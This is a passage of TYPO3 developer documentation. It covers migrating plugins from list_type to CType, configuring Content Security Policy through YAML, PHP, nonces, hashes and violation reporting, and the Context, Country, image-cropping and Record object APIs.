AbstractListTypeToCTypeUpdate
to provide a custom upgrade wizard that moves existing plugins from the
list_type definition to the CType definition. The resulting upgrade wizard
will even adjust backend user permissions for the defined plugins:
Class T3docs\Examples\Upgrades\ExtbasePluginListTypeToCTypeUpdate
4. Search your code and replace any mentioning of list_type
Search your code. If you used the list_type of your plugin in any custom
database statement or referred to the according key within TypoScript,
you will need to do the possible proper replacement.
Search your TCA definitions for any use of the now outdated configuration
options.
Note, that if your old key was something like "example_pi1" you are not
forced to set the CType to "ExamplePi1" with UpperCamelCase,
but you could keep the old identifier. This makes replacements less time consuming.
$pluginSignature = 'examples_pi1';
$pluginTitle = 'LLL:EXT:examples/Resources/Private/Language/locallang_db.xlf:tt_content.examples_pi1.title';
$extensionKey = 'examples';
$flexFormPath = 'FILE:EXT:examples/Configuration/Flexforms/flexform_ds1.xml';
// Add the plugins to the list of plugins
ExtensionManagementUtility::addPlugin(
[$pluginTitle, $pluginSignature, '', 'plugin'],
- 'list_type',- $extensionKey,
);
-// Disable the display of layout and select_key fields for the plugin-$GLOBALS['TCA']['tt_content']['types']['list']['subtypes_excludelist'][$pluginSignature]- = 'layout,select_key,pages';--// Activate the display of the plug-in flexform field and set FlexForm definition-$GLOBALS['TCA']['tt_content']['types']['list']['subtypes_addlist'][$pluginSignature] = 'pi_flexform';+// Activate the display of the FlexForm field+ExtensionManagementUtility::addToAllTCAtypes(+ 'tt_content',+ '--div--;Configuration,pi_flexform,',+ $pluginSignature,+ 'after:subheader',+);
ExtensionManagementUtility::addPiFlexFormValue(
- $pluginSignature,+ '*',
$flexFormPath,
+ $pluginSignature,
);
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2. Adjust the TypoScript of the plugin
If your plugin was rendered using
typo3/cms-fluid-styled-content
you are
probably using the top level TypoScript object
tt_content to render the plugin. The path to
the plugin rendering needs to be adjusted as you cannot use the deprecated content
element "list" anymore:
-tt_content.list.20.examples_pi1 = USER-tt_content.list.20.examples_pi1 {+tt_content.examples_pi1 =< lib.contentElement+tt_content.examples_pi1 {
20 = USER
20 {
userFunc = MyVendor\Examples\Controller\ExampleController->example
settings {
singlePid = 42
listPid = 55
}
view {
templateRootPaths.10 = {$templateRootPath}
partialRootPaths.10 = {$partialRootPath}
layoutRootPaths.10 = {$layoutRootPath}
}
}
templateName = Generic
}
# Or if you used the plugin top level object:
-tt_content.list.20.examples_pi1 < plugin.tx_examples_pi1+tt_content.examples_pi1.20 < plugin.tx_examples_pi1
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3. Provide an upgrade wizard for automatic content migration for TYPO3 v13.4 and v12.4
If your extension only supports TYPO3 v13 and above you can extend the Core class
\TYPO3\CMS\Install\Updates\AbstractListTypeToCTypeUpdate .
If your extension also supports TYPO3 v12 and maybe even TYPO3 v11 you can use
class
\Linawolf\ListTypeMigration\Upgrades\AbstractListTypeToCTypeUpdate
instead. Require via composer:
linawolf/list-type-migration
or
copy the file into your extension using your own namespaces:
Content Security Policy (CSP) is a security standard introduced to prevent
cross-site scripting (XSS), clickjacking and other code
injection attacks resulting of malicious content being executed in the trusted
web page context.
Think of CSP in terms of an "allow/deny" list for remote contents.
See also
If you are not familiar with Content Security Policy, please read the
following resources:
CSP rules are used to describe, which external assets or functionality are allowed for
certain HTML tags (like
<script>,
<img>,
<iframe>). This allows
to restrict external resources or JavaScript execution with security in mind. When
accessing a page, these rules are sent as part of the HTTP request from the server to
the browser, and the browser will enforce these rules (and reject non-allowed content).
These rejection are always logged in the browser console. Additionally, external tools
can be configured to receive and track violations of the policy.
Content Security Policy declarations can be applied to a TYPO3 website in
frontend and backend scope with a dedicated API. This API allows for site-specific or
extension-specific configuration instead of manually setting the CSP rules with
server-side configuration through httpd.conf/nginx.conf or .htaccess files.
To delegate Content Security Policy handling to the TYPO3 frontend, at least one of
the feature flags:
enforce:inheritDefault:true# site-specific mutations could also be listed, like this:# mutations:# - mode: "append"# directive: "img-src"# sources:# - "cdn.example.com"# - "assets.example.com"# alternatively (or additionally!), reporting can be set too,# for example when testing stricter rules than above# (note the missing 'assets.example.com')# reporting:# inheritDefault: true# mutations:# - mode: "append"# directive: "img-src"# sources:# - "cdn.example.com"#
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Changed in version 13.0
In the TYPO3 backend the Content Security Policy is always enforced.
Within the TYPO3 backend, a specific backend module is available to inspect policy
violations / reports, and there is also a list to see all configured CSP rules,
see section Active content security policy rules.
Terminology
This document will use very specific wording that is part of the CSP W3C specification,
these terms are not "invented" by TYPO3. Since reading the W3C RFC can be very
intimidating, here are a few key concepts.
Note
Skip to the section Example scenario to see a "real-life" usage
scenario, if you can better understand from actual code examples.
Directives
CSP consists of multiple rules (or "directives"), that are part of a "policy". This
policy says, what functionality the site's output is allowed to use.
With that, several HTML tags can be controlled, like from which URLs images can be
requested from, if and from where iframes are allowed, if and from where JavaScripts
are allowed and so on. There is a long list of applicable directives, see
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#directives
with specific identifiers like default-src, img-src and so on.
Each directive may have several "attributes" (like the allowed URLs).
Directives may build upon each other, a bit like CSS definitions (Cascading Style Sheet)
do. However, these are more meant to modify a basic rule on an earlier level,
and called "mutations". The relation of a "child rule" to its "parent" is
also called "ancestor chain". An example:
If frame-src is not defined, it falls back to child-src, and finally falls
back to default-src. But if frame-src is defined, it is used, and
the sources from default-src are not used. In such a case, default-src listed
sources have to be repeated (when wanted) explicitly in frame-src.
Applying the policy
A final policy is compiled of all these directives, and then sent as a HTTP
response header Content-Security-Policy: ... (respectively
Content-Security-Policy-Reporty-Only).
In TYPO3, directives can be specified via PHP syntax (within Extensions) and
YAML syntax (within site configuration). Additionally, rules can be
set via the PSR-14 event PolicyMutatedEvent.
Mutations
These rules can influence each other, this is where the concept of "mutations" come in.
The "policy builder" of TYPO3 applies each configured mutation, no matter where it was
defined.
Because of this, each mutation (directive definition) needs a specific "mode" that can
instruct, how this mutation is applied: Should an existing directive be
set, inherited, appended, remove or extended to the final policy (see
Content Security Police modes).
Each directive is then applied in regard to its defined mode and can list one or more
"sources" with the values of additional parameters of a directive. Sources are
web site addresses / URLs (or just protocols), and also include some special keywords like
self/none/data:.
Nonces
There are possible exemptions to directives for specific content created on specific
pages created by TYPO3 in your frontend (or backend modules). To verify, that these
exemptions are valid in a policy, a so-called "Nonce" (a unique "number used once")
is created (details on https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/nonce).
TYPO3 can manage these Nonces and apply them were configured.
Nonces are retrieved from
\TYPO3\CMS\Core\Security\ContentSecurityPolicy\ConsumableNonce
and will be used for any directive within the scope of a single HTTP request.
When a webpage with activated policies is shown in a client's browser, each HTML tag
violating the policy will not be interpreted by the browser.
Depending on a configuration of a possible "Report", such violations can be submitted
back to a server and be evaluated there. TYPO3 provides such an endpoint to receive
and display reports in a backend module, but also third-party servers are usable.
Policies can be declared with "dispositions", to indicate how they are handled.
"Enforce" means that a policy is in effect, and "Report" allows to only pretend
a policy is in effect, to gather knowledge about possible improvements of a
webpage's output. Both dispositions can be set independently in TYPO3.
You have one TYPO3 installation with two sites (frontend), example.com and example.org.
You have created custom backend modules for some distinct functionality.
example.com is a site where your editors fully control all frontend content, and they
want to have full flexibility of what and how to embed. You use a CDN network to deliver
your own large assets, like videos.
example.org is a community-driven site, where users can manage profiles and post chats,
and where you want to prevent exploits on your site. Some embedding to a set of allowed
web services (YouTube, Google Analytics) must be possible.
So you need to take care of security measures, and find a pragmatic way how to allow foreign
content (like YouTube, widgets, tracking codes, assets)
Specifically you want to to set these following rules, as an example.
Note
The domains listed are for demonstration only, and will not match real requirements;
for example, YouTube is already allowed by the default TYPO3 frontend CSP configuration,
which can be inherited.
Rules for example.com (editorial)
<iframe> to many services should be allowed
<img> sources to anywhere should be allowed
<script> sources to cdn.example.com and *.youtube.com and *.google.com
should be allowed
Rules for example.org (community)
<iframe> to cdn.example.com, *.youtube.com should be allowed
<img> sources to cdn.example.com and *.instagram.com should be allowed
<script> sources to cdn.example.com and *.youtube.com and *.google.com
should be allowed
Rules for the TYPO3 backend
Normal TYPO3 backend rules need to be applied, so we only want to add some
rules for custom backend modules:
<iframe> to cdn.example.com should be allowed
<img> sources to cdn.example.com should be allowed
<script> sources to cdn.example.com should be allowed
Resulting configuration example:
And this is how you would do that with a CSP YAML configuration file, one per site:
# Inherits default frontend policy mutations provided by Core and 3rd-party extensions (enabled per default)inheritDefault:truemutations:# Allow frames/iframes to TRUSTED specific locations# Avoid "protocol only" white-list like "https:" here,# because it could inject javascript easily, the most important reason# why CSP was invented was to block security issues like this.# (Note: it's "frame-src" not "iframe-src")-mode:"extend"directive:"frame-src"sources:-"https://*.example.org"-"https://*.example.com"-"https://*.instagram.com"-"https://*.vimeo.com"-"https://*.youtube.com"# Allow img src to anyhwere (HTTPS only, not HTTP)-mode:"extend"directive:"img-src"sources:-"https:"# Allow script src to the specified domains (HTTPS only)-mode:"extend"directive:"script-src"sources:-"https://cdn.example.com"-"https://*.youtube.com"-"https://*.google.com"
# Inherits default frontend policy mutations provided by Core and 3rd-party extensions (enabled per default)inheritDefault:truemutations:# Allow frame/iframe src to the specified domains (HTTPS only)-mode:"extend"# (Note: it's "frame-src" not "iframe-src")directive:"frame-src"sources:-"https://cdn.example.com"-"https://*.youtube.com"# Allow img src to the specified domains (HTTPS only)-mode:"extend"directive:"img-src"sources:-"https://cdn.example.com"-"https://*.instagram.com"# Allow script src to the specified domains (HTTPS only)-mode:"extend"directive:"script-src"sources:-"https://cdn.example.com"-"https://*.youtube.com"-"https://*.google.com"
This is really just a simple demo, that has room for improvements. For example,
the allowed list of *-src values to any directive could actually be set through their common
parent, the default-src attribute. There is a very deep and nested possibility
to address the attributes of many HTML5 tags, which is covered in depth on
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#directives.
You can take a look into the PHP enum
\TYPO3\CMS\Core\Security\ContentSecurityPolicy\Directive ,
which gives you an overview of all supported directives.
Read on to understand more of the underlying API builder concepts below.
Configuration
Policy builder approach
The following approach illustrates how a policy is build:
<?phpuseTYPO3\CMS\Core\Security\ContentSecurityPolicy\Directive;
useTYPO3\CMS\Core\Security\ContentSecurityPolicy\Policy;
useTYPO3\CMS\Core\Security\ContentSecurityPolicy\SourceKeyword;
useTYPO3\CMS\Core\Security\ContentSecurityPolicy\SourceScheme;
useTYPO3\CMS\Core\Security\ContentSecurityPolicy\UriValue;
useTYPO3\CMS\Core\Security\Nonce;
$nonce = Nonce::create();
$policy = (new Policy())
// Results in `default-src 'self'`
->default(SourceKeyword::self)
// Extends the ancestor directive ('default-src'),// thus reuses 'self' and adds additional sources// Results in `img-src 'self' data: https://*.typo3.org`
->extend(Directive::ImgSrc, SourceScheme::data, new UriValue('https://*.typo3.org'))
// Extends the ancestor directive ('default-src'),// thus reuses 'self' and adds additional sources// Results in `script-src 'self' 'nonce-[random]'`// ('nonce-proxy' is substituted when compiling the policy)
->extend(Directive::ScriptSrc, SourceKeyword::nonceProxy)
// Sets (overrides) the directive,// thus ignores 'self' of the 'default-src' directive// Results in `worker-src blob:`
->set(Directive::WorkerSrc, SourceScheme::blob);
header('Content-Security-Policy: ' . $policy->compile($nonce));
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The result of the compiled and serialized result as HTTP header would look
similar to this (the following sections are using the same example, but utilize
different techniques for the declarations):
The policy builder is the low-level representation and interaction in PHP,
any other configuration is using the same verbs to describe the CSP
instructions. The
\TYPO3\CMS\Core\Security\ContentSecurityPolicy\Policy
object is used for compiling the CSP in a middleware.
Thus, custom controllers or middlewares could use this approach; the last
line
<?phpdeclare(strict_types=1);
useTYPO3\CMS\Core\Security\ContentSecurityPolicy\Directive;
useTYPO3\CMS\Core\Security\ContentSecurityPolicy\Mutation;
useTYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationCollection;
useTYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationMode;
useTYPO3\CMS\Core\Security\ContentSecurityPolicy\Scope;
useTYPO3\CMS\Core\Security\ContentSecurityPolicy\SourceKeyword;
useTYPO3\CMS\Core\Security\ContentSecurityPolicy\SourceScheme;
useTYPO3\CMS\Core\Security\ContentSecurityPolicy\UriValue;
useTYPO3\CMS\Core\Type\Map;
return Map::fromEntries(
[
// Provide declarations for the backend
Scope::backend(),
// NOTICE: When using `MutationMode::Set` existing declarations will be overriddennew MutationCollection(
// Results in `default-src 'self'`new Mutation(
MutationMode::Set,
Directive::DefaultSrc,
SourceKeyword::self,
),
// Extends the ancestor directive ('default-src'),// thus reuses 'self' and adds additional sources// Results in `img-src 'self' data: https://*.typo3.org`new Mutation(
MutationMode::Extend,
Directive::ImgSrc,
SourceScheme::data,
new UriValue('https://*.typo3.org'),
),
// NOTICE: the following two instructions for `Directive::ImgSrc` are identical to the previous instruction,// `MutationMode::Extend` is a shortcut for `MutationMode::InheritOnce` and `MutationMode::Append`// new Mutation(MutationMode::InheritOnce, Directive::ImgSrc, SourceScheme::data),// new Mutation(MutationMode::Append, Directive::ImgSrc, SourceScheme::data, new UriValue('https://*.typo3.org')),// Extends the ancestor directive ('default-src'),// thus reuses 'self' and adds additional sources// Results in `script-src 'self' 'nonce-[random]'`// ('nonce-proxy' is substituted when compiling the policy)new Mutation(
MutationMode::Extend,
Directive::ScriptSrc,
SourceKeyword::nonceProxy,
),
// Sets (overrides) the directive,// thus ignores 'self' of the 'default-src' directive// Results in `worker-src blob:`new Mutation(
MutationMode::Set,
Directive::WorkerSrc,
SourceScheme::blob,
),
),
],
[
// You can also additionally provide frontend declarations
Scope::frontend(),
new MutationCollection(
// Sets (overrides) the directive,// thus ignores 'self' of the 'default-src' directive// Results in `worker-src https://*.workers.example.com:`new Mutation(
MutationMode::Set,
Directive::WorkerSrc,
new UriValue('https://*.workers.example.com'),
),
),
],
);
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The API here is much like the YAML syntax. The PHP code needs to return
a mapped array of an
MutationCollection instance with all rules
put into a sub-array, containing instances of a single
Mutation.
Each
Mutation instance is like a Data Object (DO) where its constructor
allows you to specifiy a mode (type
MutationMode), a directive
(type
Directive) and one ore more actual values ("sources", type
UriValue
or SourceKeyword).
Additionally, a
Scope instance object is included, which can either
be
Scope::backend() or
Scope::frontend().
A good PHP IDE will allow for good autocompletion and hinting, and using
a boilerplate configuration like the example above helps you to get started.
Backend-specific
The YAML configuration only applies to the frontend part of TYPO3.
Backend policies need to be set using the PHP API, within an extension
as described in the section above.
You need to ensure that Scope::backend() is set in the mapped return array
for the rules you want to setup.
Site-specific (frontend)
In frontend, a dedicated sites/<my_site>/csp.yaml can be
used to declare policies for a specific site, for example:
# Inherits default site-unspecific frontend policy mutations (enabled per default)inheritDefault:truemutations:# Results in `default-src 'self'`-mode:"set"directive:"default-src"sources:-"'self'"# Extends the ancestor directive ('default-src'),# thus reuses 'self' and adds additional sources# Results in `img-src 'self' data: https://*.typo3.org`-mode:"extend"directive:"img-src"sources:-"data:"-"https://*.typo3.org"# Extends the ancestor directive ('default-src'),# thus reuses 'self' and adds additional sources# Results in `script-src 'self' 'nonce-[random]'`# ('nonce-proxy' is substituted when compiling the policy)-mode:"extend"directive:"script-src"sources:-"'nonce-proxy'"# Results in `worker-src blob:`-mode:"set"directive:"worker-src"sources:-"blob:"
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Disable CSP for a site
The Content Security Policy for a particular site can be disabled with the
active key set to
false:
# "active" is enabled by default if omittedactive:false
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Site-specific Content-Security-Policy endpoints
The reporting endpoint is used to receive browser reports about violations to
the security policy, for example if a YouTube URL was requested, but could
not be displayed in an iframe due to a directive not allowing this.
Reports like this can help to gain insight, what URLs are used by editors
and might need inclusion into the policy.
Since reports can be sent by any browser, they can possibly easily flood
a site with requests and take up storage space. Reports are stored in the
sys_http_report database table when using the endpoint provided by TYPO3.
To influence whether this endpoint accepts reports,
the disposition-specific property reportingUrl can be configured and
set to either:
true
to enable the reporting endpoint
false
to disable the reporting endpoint
(string)
to use the given value as external reporting endpoint
The nonce attribute is useful to allowlist specific elements, such as a
particular inline script or style elements. It can help you to avoid using
the CSP unsafe-inline directive, which would allowlist all inline scripts or
styles.
<linkrel="stylesheet"href="/_assets/af46f1853e4e259cbb8ebcb816eb0403/Css/styles.css?1687696548"media="all"nonce="sqK8LkqFp-aWHc7jkHQ4aT-RlUp5cde9ZW0F0-BlrQbExX-PRMoTkw"
><stylenonce="sqK8LkqFp-aWHc7jkHQ4aT-RlUp5cde9ZW0F0-BlrQbExX-PRMoTkw">/* some inline styles */</style><scriptsrc="/_assets/27334a649e36d0032b969fa8830590c2/JavaScript/scripts.js?1684880443"nonce="sqK8LkqFp-aWHc7jkHQ4aT-RlUp5cde9ZW0F0-BlrQbExX-PRMoTkw"
></script><scriptnonce="sqK8LkqFp-aWHc7jkHQ4aT-RlUp5cde9ZW0F0-BlrQbExX-PRMoTkw">/* some inline JavaScript */</script>
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The nonce changes with each request so that (possibly malicious) inline scripts
or styles are blocked by the browser.
The nonce is applied automatically, when scripts or styles are defined with the
TYPO3 API, like TypoScript (
page.includeJS, etc.) or the
asset collector. This only refers to referenced files
(via
src and
href attributes) and not inline scripts
or inline styles. For those, you should either use the PHP/Fluid approach
as listed below, or use TypoScript only for passing DOM attributes
and using external scripts to actually evaluate these attributes to control
functionality.
TYPO3 provides APIs to get the nonce for the current request:
Nonces are implemented via a PSR middleware and thus applied dynamically. This
also means, they are somewhat "bad" for caching (especially for reverse proxies),
since they create unique output for a specific visitor.
Since the goal of nonces are to allow "exemptions" for otherwise forbidden content,
this closely relates to validity or integrity of this forbidden content. Instead
of emitting unique nonces, another possibility is to utilize hashing functionality
to content regarded as "safe".
This can be done with sha256/sha384/sha512 hashing of referenced script, and including
them as a valid directive, like this:
The "sha256-..." block would be the SHA256 hash created from a file like 'script.js'.
For example, a file like this:
script.js (some javascript file that is included in your website)
console.log('Hello.');
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would correspond to a SHA256 hash of 6c7d3c1bf856597a2c8ae2ca7498cb4454a32286670b20cf36202fa578b491a9.
Note
These hashes can be created by shell scripts like sha256 and several libraries,
also in nodeJS bundling tools.
The browser would evaluate a reference JavaScript file and calculate it's SHA256
hash and compare it to the list of allowed hashes.
The downside of this is: Everytime an embedded file changes (like via build processes),
the CSP SHA hash would need to be adopted. This could be automated by a PHP definition
of CSP rules and hashing files automatically, which would be a performance-intense
process and call for its own caching.
There is no automatism for this kind of hashing in TYPO3 (yet, see
https://forge.typo3.org/issues/100887), so it has to be done manually
as outlined above.
Reporting of violations, CSP Backend module
Potential CSP violations are reported back to the TYPO3 system and persisted
internally in the database table
sys_http_report. A corresponding
Admin Tools > Content Security Policy backend module supports users
to keep track of recent violations and - if applicable - to select potential
resolutions (stored in the database table
sys_csp_resolution) which
extends the Content Security Policy for the given scope during runtime:
Backend module "Content Security Policy" which displays the violations
Clicking on a row displays the details of this violation on the right side
including suggestions on how to resolve this violation. You have the choice to
apply this suggestion, or to mute or delete the specific violation.
Note
If you apply the suggestion, it is stored in the database table
sys_csp_resolution. To have all policies in one place, you
should consider adding the suggestion to your
extension-specific or
site-specific CSP definitions
manually.
Warning
Resolutions, once applied, can not be removed again via the GUI. You would
need to manually remove entries in the
sys_csp_resolution database
table.
Using a third-party service
As an alternative to the built-in reporting module, an external reporting URL
can be configured to use a third-party service as well:
config/system/additional.php
// For backend
$GLOBALS['TYPO3_CONF_VARS']['BE']['contentSecurityPolicyReportingUrl']
= 'https://csp-violation.example.org/';
// For frontend
$GLOBALS['TYPO3_CONF_VARS']['FE']['contentSecurityPolicyReportingUrl']
= 'https://csp-violation.example.org/';
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Violations are then sent to the third-party service instead of the TYPO3
endpoint. Resolutions would then not be applied dynamically.
If defined, the site-specific configuration takes precedence over
the global configuration.
In case the explicitly disabled endpoint still would be called, the
server-side process responds with a 403 HTTP error message.
The global scope-specific setting contentSecurityPolicyReportingUrl can
be set to zero ('0') to disable the CSP reporting endpoint:
config/system/additional.php
// For backend
$GLOBALS['TYPO3_CONF_VARS']['BE']['contentSecurityPolicyReportingUrl'] = '0';
// For frontend
$GLOBALS['TYPO3_CONF_VARS']['FE']['contentSecurityPolicyReportingUrl'] = '0';
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Active content security policy rules
The backend module System > Configuration > Content Security Policy Mutations
uses a simple tree display of all configured directives, grouped by
frontend or backend. Each rule shows where it is defined, and what
its final policy is set to:
Backend module "Configuration > Content Security Policy Mutations" which displays
a tree of all policy directives.
The Context API encapsulates various information for data retrieval (for
example, inside the database) and analysis of current permissions and caching
information.
The context is set up at the very beginning of each TYPO3 entry point, keeping
track of, for example, the current time, if a user is logged in and which
workspace is currently accessed.
The
\TYPO3\CMS\Core\Context\Context object can be retrieved via
dependency injection:
This property is kept for compatibility reasons. Do not use, if not really
necessary, the option will be removed rather sooner than later.
Overlay types
LanguageAspect::OVERLAYS_OFF
Just fetch records from the selected language as given by
LanguageAspect->getContentId(). No overlay will happen, no
fetching of the records from the default language. This boils down to
"free mode" language handling. Records without a default language parent are
included.
LanguageAspect::OVERLAYS_MIXED
Fetch records from the default language and overlay them with translations.
If a record is not translated, the default language will be used.
LanguageAspect::OVERLAYS_ON
Fetch records from the default language and overlay them with translations.
If a record is not translated, it will not be displayed.
LanguageAspect::OVERLAYS_ON_WITH_FLOATING
Fetch records from the default language and overlay them with translations.
If a record is not translated, it will not be shown. Records without a
default language parent are included.
The preview aspect may be used to indicate that the frontend is in preview mode
(for example, in case a workspace is previewed or hidden pages or records should
be shown).
The preview aspect,
\TYPO3\CMS\Frontend\Aspect\PreviewAspect , contains
the following property:
TYPO3 ships a list of countries of the world. The list is based on the
ISO 3166-1 standard, with the alphanumeric short name ("FR" or "FRA" in its
three-letter short name), the English name ("France"), the official name
("Republic of France"), also the numerical code, and the country's flag as
emoji (UTF-8 representation).
Note
The country list is based on Debian's ISO code list and shipped
statically as PHP content in the Country API.
The method returns an array of
\TYPO3\CMS\Core\Country\Country objects.
Get a country
EXT:my_extension/Classes/MyClass.php
// Get the country by Alpha-2 code
$france = $this->countryProvider->getByIsoCode('FR');
// Get the country by name
$france = $this->countryProvider->getByEnglishName('France');
// Get the country by Alpha-3 code
$france = $this->countryProvider->getByAlpha3IsoCode('FRA');
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The methods return a
\TYPO3\CMS\Core\Country\Country object.
Filter countries
One can use filters to get the desired countries:
EXT:my_extension/Classes/MyClass.php
useTYPO3\CMS\Core\Country\CountryFilter;
$filter = new CountryFilter();
// Alpha-2 and Alpha-3 ISO codes can be used
$filter
->setOnlyCountries(['AT', 'DE', 'FR', 'DK'])
->setExcludeCountries(['AUT', 'DK']);
// Will be an array with "Germany" and "France"
$filteredCountries = $this->countryProvider->getFiltered($filter);
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The method
getFiltered() return an array of
\TYPO3\CMS\Core\Country\Country objects.
The
Country object
A country object can be used to fetch all information about it, also with
translatable labels:
The following examples are meant to add one single
cropping configuration to sys_file_reference, which will then apply to every
record referencing images.
In this example we configure two crop variants, one with the id "mobile",
one with the id "desktop". The array key defines the crop variant id, which will be used
when rendering an image with the image view helper.
For each crop variant there's at least one ratio configuration defined as allowedAspectRatios:
its key must not contain the dot character (.):
good examples: NaN, 4:3 or other-format
bad example: 1:1.441
its value is an array consisting of two keys:
title: should be a string (or even better: a LLL reference)
It is also possible to define an initial crop area. If no initial crop area is defined, the default selected crop area will cover the complete image.
Crop areas are defined relatively with floating point numbers. The x and y coordinates and width and height must be specified for that.
The below example has an initial crop area in the size the previous image cropper provided by default.
Users can also select a focus area, when configured. The focus area is always inside
the crop area and marks the area of the image which must be visible for the image to transport
its meaning. The selected area is persisted to the database but will have no effect on image processing.
The data points are however made available as data attribute when using the <f:image /> view helper and
can be used by Javascript libraries.
The below example adds a focus area, which is initially one third of the size of the image
and centered.
Images are often used in a context where they are overlaid with other DOM elements
like a headline. To give editors a hint which area of the image is affected, when selecting a crop area,
it is possible to define multiple so-called cover areas. These areas are shown inside
the crop area. The focus area cannot intersect with any of the cover areas.
It is possible to provide a configuration per content element. If you want a different
cropping configuration for tt_content images, then you can add the following to
your image field configuration of tt_content records:
Please note, you need to specify the target column name as array key. Most of the time this will be crop
as this is the default field name for image manipulation in sys_file_reference
It is also possible to set the cropping configuration only for a specific tt_content element type by using the
columnsOverrides feature:
Please note, as the array for overrideChildTca is merged with the child TCA, so are the crop variants that are defined
in the child TCA (most likely sys_file_reference). Because you cannot remove crop variants easily, it is possible to disable them
for certain field types by setting the array key for a crop variant disabled to the value true as you can see in the
example above for the default variant.
Used internally by TYPO3 and not accessible in the backend (e.g. tables such as
be_sessions,
sys_registry, cache tables). They are accessed via TYPO3
APIs such as the caching framework. These tables are not
editable unless a specific backend module provides access.
Typical categories include:
Cache tables: Created automatically when using a database-based cache
backend
Session tables:
fe_sessions,
be_sessions
System tables:
sys_registry: Global configuration
sys_log: Viewable via System > Log
Managed tables
Defined in the TCA and, by default, editable in the
Web > List module. TYPO3 derives database schemas from the TCA
configuration. Required fields such as
uid and
pid are generated
automatically.
When records are rendered in the backend using the
FormEngine, entries
with the soft delete flag set (
deleted) will not be shown.
When querying tables via TypoScript, visibility fields such as
hidden,
startdate, and
enddate are respected.
If you use the
DBAL query builder to access
the database, the
restriction builder
automatically filters records based on visibility fields unless explicitly disabled.
When using an
Extbase repository, the
query settings
also apply visibility constraints by default, but can be reconfigured to change
this behavior.
The
pages table
Defines TYPO3's hierarchical page tree. All managed records reference a
pages.uid via their
pid.
The root page has pid = 0 and does not exist as a row in the table.
Only administrators can create records on the root level.
Tables must explicitly allow root-level records using
-.
Many-to-many (MM) relations
MM tables store relationships between records. Examples include:
sys_category_record_mm: Categories and categorized records
sys_file_reference: File usage in content and pages
These tables may appear in the backend if configured via
inline records.
Database records
In TYPO3, a record refers to an individual piece of content or data that
is stored in the database. Each record is part of a table and represents a
specific entity, such as a page, a content element, a backend user, or an
extension configuration.
TYPO3 uses a modular structure where different types of data are managed as
records, making it easy to organize and manipulate content.
Understanding records in TYPO3 is fundamental, as they are the building blocks
for managing content and data within the system.
These represent pages in the page tree, which structure the website. They
are stored in table
pages.
Content records
Every content record consists of sub entities like text, images,
videos, and so on. Content records can be placed on a page. They are stored
in table
tt_content. TYPO3 has some pre configured content elements
like for example Header Only, Regular Text Element, Text & Images,
and Images Only.
Backend user records
The user records consist of information about the users who have access to
the TYPO3 backend. They are stored in table
be_users. Users are
organized in user groups which are stored in table
be_groups.
System records
System records control the configuration and management of the TYPO3 system.
Examples include file references, file mounts, or categories. For example,
you can create a category and assign it to some content records in order to
indicate that they belong together.
Extension-specific records
Extensions often define custom records to store specific data, such as
products for a shop system or events for a calendar.
Technical structure of a record:
Each record is stored in a database table. Each row represents one record. Each
column represents a field of the record or some kind of metadata.
A record typically includes a unique identifier in column uid, the id of the
page record on which it is located in column pid, columns for various
attributes (for example, title, content), and metadata like creation and
modification timestamps, visibility, information on translation
and workspace handling. A record can have relations to other records.
TCA (Table Configuration Array)
TYPO3 uses the TCA to define how records of a specific table are
structured, how they are displayed in the backend, and how they interact
with other parts of the system. See the TCA Reference
for details.
Types and subtypes in records
In TYPO3, different types and subtypes of records are often stored in the same
database table, even though not all types share the same columns. This approach
allows for flexibility and efficiency in handling diverse content and data
structures within a unified system.
TYPO3 uses a single-table inheritance strategy, where records of various
types are distinguished by a specific field, often named
type.
For historical reasons the field is named
CType for content elements
and
doktype for pages. The field that is used for the type is defined in
TCA in ctrl > type. The types itself are stored in
types.
This allows TYPO3 to store related records, such as different content types,
in a shared table like
tt_content while supporting custom
fields for each record type.
For content elements in table
tt_content there is a second level of
subtypes in use where the field CType contains the value "list" and the field
list-type contains the actual type. This second level of types exists for
historic reasons. Read more about it in chapter Content Elements & Plugins.
Record objects
New in version 13.2
Record objects have been introduced as an experimental feature.
Record objects are instances of
\TYPO3\CMS\Core\Domain\Record and
contain an object-oriented representation of a database record.
A record object can be used to output a database record in Fluid
when no Extbase domain model is available.
TYPO3 extensions based on Extbase typically introduce a class inheriting from
\TYPO3\CMS\Extbase\DomainObject\AbstractEntity to represent a record
fully or partially within the domain of the extension. Multiple Extbase models
can store their data in the same database table. Additionally, the same record
can be represented in various ways by different Extbase models, depending on
the specific requirements of each model.
Record objects have been introduced as an experimental feature.
Record objects are instances of
\TYPO3\CMS\Core\Domain\Record .
They are an advanced data object holding the data of a database row, taking the
TCA definition and possible relations of that database row
into account.
Note
The Record object is available but still considered experimental. Only the
usage in Fluid is public API.
In PHP a record object can be created by the
\TYPO3\CMS\Core\Domain\RecordFactory .
The event RecordCreationEvent can be used to influence or replace
the Record object and its properties during creation.
Use records in Fluid
In frontend templates the record object is provided by
TypoScript or passed to Fluid by a
PHP class.
Content element preview templates automatically receive a record object
representing the record of the content element that should currently be displayed.
The Debug ViewHelper <f:debug> output
of the Record object is misleading for integrators,
as most properties are accessed differently as one would assume.
We are dealing with an object here. You however can access your record
properties as you are used to with
{record.title} or
{record.uid}. In addition, you gain special, context-aware properties
like the language
{record.languageId} or workspace
{data.versionInfo.workspaceId}.
Overview of all possibilities:
Demonstration of available variables in Fluid
<!-- Any property, which is available in the Record (like normal) -->
{record.title}
{record.uid}
{record.pid}
<!-- Language related properties -->
{record.languageId}
{record.languageInfo.translationParent}
{record.languageInfo.translationSource}
<!-- The overlaid uid -->
{record.overlaidUid}
<!-- Types are a combination of the table name and the Content Type name. --><!-- Example for table "tt_content" and CType "textpic": --><!-- "tt_content" (this is basically the table name) -->
{record.mainType}
<!-- "textpic" (this is the CType) -->
{record.recordType}
<!-- "tt_content.textpic" (Combination of mainType and record type, separated by a dot) -->
{record.fullType}
<!-- System related properties -->
{record.systemProperties.isDeleted}
{record.systemProperties.isDisabled}
{record.systemProperties.isLockedForEditing}
{record.systemProperties.createdAt}
{record.systemProperties.lastUpdatedAt}
{record.systemProperties.publishAt}
{record.systemProperties.publishUntil}
{record.systemProperties.userGroupRestriction}
{record.systemProperties.sorting}
{record.systemProperties.description}
<!-- Computed properties depending on the request context -->
{record.computedProperties.versionedUid}
{record.computedProperties.localizedUid}
{record.computedProperties.requestedOverlayLanguageId}
